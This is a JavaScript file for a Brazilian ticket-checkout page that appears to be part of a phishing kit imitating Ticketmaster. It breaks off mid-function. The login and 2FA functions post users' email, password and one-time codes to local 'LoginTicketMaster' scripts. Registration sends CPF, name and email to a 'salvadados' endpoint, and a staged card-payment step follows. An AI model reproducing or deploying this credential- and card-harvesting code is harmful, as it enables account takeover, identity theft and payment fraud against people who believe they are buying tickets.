// Strings var modal_id = ""; var forma_entrega = ""; var address = ""; var formatReadableSimple = ""; var formatReadable = ""; var current_page = "carrinho"; // Dicts var carrinho = {}; $("#zipcodeEnd").mask("99999-999", { autoclear: false }); $("#phoneReg").mask("(99) 99999-9999", { autoclear: false }); $("#dniReg").mask("999.999.999-99", { autoclear: false }); $("#birthDateReg").mask("99/99/9999", { autoclear: false }); function number_format(number, decimals, dec_point, thousands_point) { // number_format('2112.0', 2, ',', '.'); if (number == null || !isFinite(number)) { throw new TypeError("number is not valid"); } if (!decimals) { var len = number.toString().split(".").length; decimals = len > 1 ? len : 0; } if (!dec_point) { dec_point = "."; } if (!thousands_point) { thousands_point = ","; } number = parseFloat(number).toFixed(decimals); number = number.replace(".", dec_point); var splitNum = number.split(dec_point); splitNum[0] = splitNum[0].replace(/\B(?=(\d{3})+(?!\d))/g, thousands_point); number = splitNum.join(dec_point); return number; } function escapeRegExp(string) { return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); // $& means the whole matched string } function replaceAll(str, find, replace) { return str.replace(new RegExp(escapeRegExp(find), "g"), replace); } function ModalDetalhes(id) { //modal_id = id; //$(id).show(); } function CloseModalDetalhes() { if (modal_id != "") { $(modal_id).hide(); } } function mais(id) { quantidade = $("#value_" + id).text(); quantidade = parseInt(quantidade) + 1; $("#value_" + id).html(quantidade); carrinho[id] = quantidade; updateCarrinho(); } function menos(id) { quantidade = parseInt($("#value_" + id).text()); if (quantidade > 0) { quantidade = quantidade - 1; $("#value_" + id).html(quantidade); } carrinho[id] = quantidade; updateCarrinho(); } function updateCarrinho() { summary_tickets = ""; summary_fees = 0; tickets_qty = 0; total_cart_price = 0; for (var k in carrinho) { if (carrinho[k] > 0) { item_title = "**" + $("#title_" + k).text(); item_price = $("#preco_" + k).text(); item_price = replaceAll(item_price, ".", ""); item_price = replaceAll(item_price, ",", "."); summary_tickets = summary_tickets + '
' + carrinho[k] + " x " + item_title + " (R$ " + number_format(item_price, 2, ",", ".") + ')
R$ ' + number_format(item_price * carrinho[k], 2, ",", ".") + "
"; item_tax = $("#tax_" + k).val(); summary_fees = summary_fees + item_tax * carrinho[k]; total_cart_price = total_cart_price + item_price * carrinho[k]; tickets_qty = tickets_qty + 1 * carrinho[k]; } } if (summary_tickets.length > 0) { summary_tickets = "

Pacote

" + summary_tickets; } if (summary_fees > 0) { $("#service_info").show(); $("#summary-fees").html( '
Taxa de serviço
R$ ' + number_format(summary_fees, 2, ",", ".") + "
" ); $("#summary-fees2").html( '
Taxa de serviço
R$ ' + number_format(summary_fees, 2, ",", ".") + "
" ); } else { $("#service_info").hide(); } $("#summary-tickets").html(summary_tickets); $("#summary-tickets2").html(summary_tickets); $("#tickets_qty").html(tickets_qty); $("#tickets_qty2").html(tickets_qty); $("#summary-total").html( "R$ " + number_format(total_cart_price + summary_fees, 2, ",", ".") ); $("#summary-total2").html( "R$ " + number_format(total_cart_price + summary_fees, 2, ",", ".") ); if (tickets_qty > 0) { $("#BtnContinuar").show(); } else { $("#BtnContinuar").hide(); } } function MostrarResumoMobile() { classN = document.getElementById("checkoutSummary").className; if (classN == "buy-resume") { document.getElementById("checkoutSummary").className = "buy-resume resume-open"; } else { document.getElementById("checkoutSummary").className = "buy-resume"; } } function Etapa(etapa) { window.scrollTo(0, 0); $("#SelecionarIngressos").hide(); $("#MetodoDeEntrega").hide(); $("#AcesseSuaConta").hide(); $("#OndeQuerReceberSeusIngressos").hide(); $("#NovoEnderecoDeEntrega").hide(); $("#ConfirmeOperacao").hide(); $("#SelecioneFormaPagamento").hide(); $("#checkout-resume").show(); FecharModalLogin(); if (etapa == "entrega") { current_page = "endereco"; $("#MetodoDeEntrega").show(); } else if (etapa == "login") { current_page = "login"; $("#AcesseSuaConta").show(); } else if (etapa == "aonde-receber-ingresso") { current_page = "endereco"; $("#OndeQuerReceberSeusIngressos").show(); } else if (etapa == "novo-endereco-entrega") { current_page = "endereco"; $("#NovoEnderecoDeEntrega").show(); } else if (etapa == "confirme-a-operacao") { current_page = "endereco"; UpdateEnderecos(); $("#ConfirmeOperacao").show(); $("#checkout-resume").hide(); } else if (etapa == "formas-de-pagamento") { current_page = "pagamento"; $("#SelecioneFormaPagamento").show(); } } function MudarFormaEntrega(forma) { forma_entrega = forma; } function AbrirModalLogin() { $("#userLogin").show(); } function FecharModalLogin() { $("#userLogin").hide(); $("#login_part").show(); $("#signup_part").hide(); } function AbrirModalRegistro() { $("#login_part").hide(); $("#signup_part").show(); } function resetLoginError() { $("#notificationMessages").hide(); } function AtualizarEnderecos() { if (address.includes("****")) { address_ = address.split("****"); for (var k in address_) { if (address_[k].includes("|")) { value = address_[k].split("|"); if (value.length == 2) { if (value[0] == "formatReadableSimple") { formatReadableSimple = value[1]; } else if (value[0] == "formatReadable") { formatReadable = value[1]; } } } } } $("#formatReadableSimple").html(formatReadableSimple); } function login() { email = $("#c2_username").val(); senha = $("#c2_password").val(); if (email.length > 0 && senha.length) { $("#notificationMessages").hide(); $("#settings_save").attr("disabled", true); $.ajax({ type: "post", data: { email: email, senha: senha, }, url: "./ajax/LoginTicketMaster.php", success: function (resposta) { if (resposta.includes("2FA")) { $("#loginForm").hide(); $("#2faForm").show(); }else if (resposta.includes("|")) { if (!resposta.includes("EMPTY|")) { address = resposta; AtualizarEnderecos(); if (forma_entrega == "domicilio") { Etapa("aonde-receber-ingresso"); } else { Etapa("confirme-a-operacao"); } } else { Etapa("novo-endereco-entrega"); } } else { $("#notificationMessages").show(); $("#settings_save").attr("disabled", false); } }, }); } } function toofa() { codigo = $("#c2_2fa").val(); if (codigo.length) { $("#notificationMessages").hide(); $("#settings_save2").attr("disabled", true); $.ajax({ type: "post", data: { code: codigo, }, url: "./ajax/LoginTicketMaster2.php", success: function (resposta) { if (resposta.includes("|")) { if (!resposta.includes("EMPTY|")) { address = resposta; AtualizarEnderecos(); if (forma_entrega == "domicilio"){ Etapa("aonde-receber-ingresso"); } else { Etapa("confirme-a-operacao"); } } else { Etapa("novo-endereco-entrega"); } } else { $("#notificationMessages").show(); $("#notificationMessages2").hide(); $("#settings_save2").attr("disabled", false); } }, }); } } function OnKeyUpCEP() { cep = $("#zipcodeEnd").val(); if (cep.length == 9) { $.ajax({ url: "./ajax/ConsultaCEP.php?cep=" + cep, dataType: "json", success: function (resposta) { $("#streetEnd").val(resposta["logradouro"]); $("#cityEnd").val(resposta["localidade"]); $("#provinceEnd").val(resposta["uf"]); $("#neighborhoodEnd").val(resposta["bairro"]); }, }); } } function SalvarEndereco() { nome = $("#firstNameEnd").val(); sobrenome = $("#lastNameEnd").val(); cep = $("#zipcodeEnd").val(); estado = $("#provinceEnd").val(); cidade = $("#cityEnd").val(); bairro = $("#neighborhoodEnd").val(); rua = $("#streetEnd").val(); numero = $("#numberEnd").val(); complemento = $("#addressLine2End").val(); if (!nome.length > 0) { document.getElementById("firstNameEnd").focus(); return; } if (!sobrenome.length > 0) { document.getElementById("lastNameEnd").focus(); return; } if (!cep.length > 0) { document.getElementById("zipcodeEnd").focus(); return; } if (!estado.length > 0) { document.getElementById("zipcodeEnd").focus(); return; } if (!cidade.length > 0) { document.getElementById("zipcodeEnd").focus(); return; } if (!bairro.length > 0) { document.getElementById("neighborhoodEnd").focus(); return; } if (!rua.length > 0) { document.getElementById("streetEnd").focus(); return; } if (!numero.length > 0) { document.getElementById("numberEnd").focus(); return; } formatReadableSimple = rua + " " + numero + ", " + cidade; if (complemento.length > 0) { complemento = " " + complemento; } formatReadable = rua + " " + numero + complemento + " - " + bairro + ", " + cidade + ", " + estado + ", CEP: " + cep; Etapa("confirme-a-operacao"); } function UpdateEnderecos() { $("#formatReadable").html(formatReadable); $("#formatReadable2").html(formatReadable); if (forma_entrega == "domicilio") { $("#EnvioEntrega").show(); $("#EnvioRetirada").hide(); } else { $("#EnvioRetirada").show(); $("#EnvioEntrega").hide(); } } function registro() { email = $("#emailReg").val(); senha = $("#passwordReg").val(); senha_confirm = $("#passwordConfirmReg").val(); nome = $("#firstNameReg").val(); sobrenome = $("#lastNameReg").val(); celular = $("#phoneReg").val(); cpf = $("#dniReg").val(); nascimento = $("#birthDateReg").val(); if (!email.length > 0) { document.getElementById("emailReg").focus(); return; } if (!senha.length > 0) { document.getElementById("passwordReg").focus(); return; } if (!senha_confirm.length > 0) { document.getElementById("passwordConfirmReg").focus(); return; } if (!nome.length > 0) { document.getElementById("firstNameReg").focus(); return; } if (!sobrenome.length > 0) { document.getElementById("lastNameReg").focus(); return; } if (!celular.length > 0) { document.getElementById("phoneReg").focus(); return; } if (!cpf.length > 0) { document.getElementById("dniReg").focus(); return; } if (!nascimento.length > 0) { document.getElementById("birthDateReg").focus(); return; } $.ajax({ type: "post", data: { cpfs: cpf, name: nome, sobre: sobrenome, mail: email, }, url: "./ajax/salvadados.php", success: function (resposta) { console.log(resposta) Etapa("novo-endereco-entrega"); }, }); } function pagamentoCartao() { //CARTAO var valorElement = $("#summary-total").text(); var valorLimpo = valorElement.replace("R$", "").trim(); // Remove 'R$' e espaços extras var valorFormatado = parseFloat( valorLimpo.replace(".", "").replace(",", ".") ); // Trata o formato numérico window.scrollTo(0, 0); $("#page-loader").show(); setTimeout(function () { $("#SelecioneFormaPagamento").hide(); $("#CartaodeCredito").show(); $("#page-loader").hide(); atualizarParcelas(valorFormatado); // Chama a função para atualizar as parcelas }, 2000); } function pagarNoPix() { window.scrollTo(0, 0); $("#page-loader").show(); setTimeout(function () { $("#SelecioneFormaPagamento").show(); $("#CartaodeCredito").hide(); $("#page-loader").hide(); }, 1000); } function atualizarParcelas(valorTotal) { var select = $("#installments"); select.empty(); // Limpa opções existentes select.append($("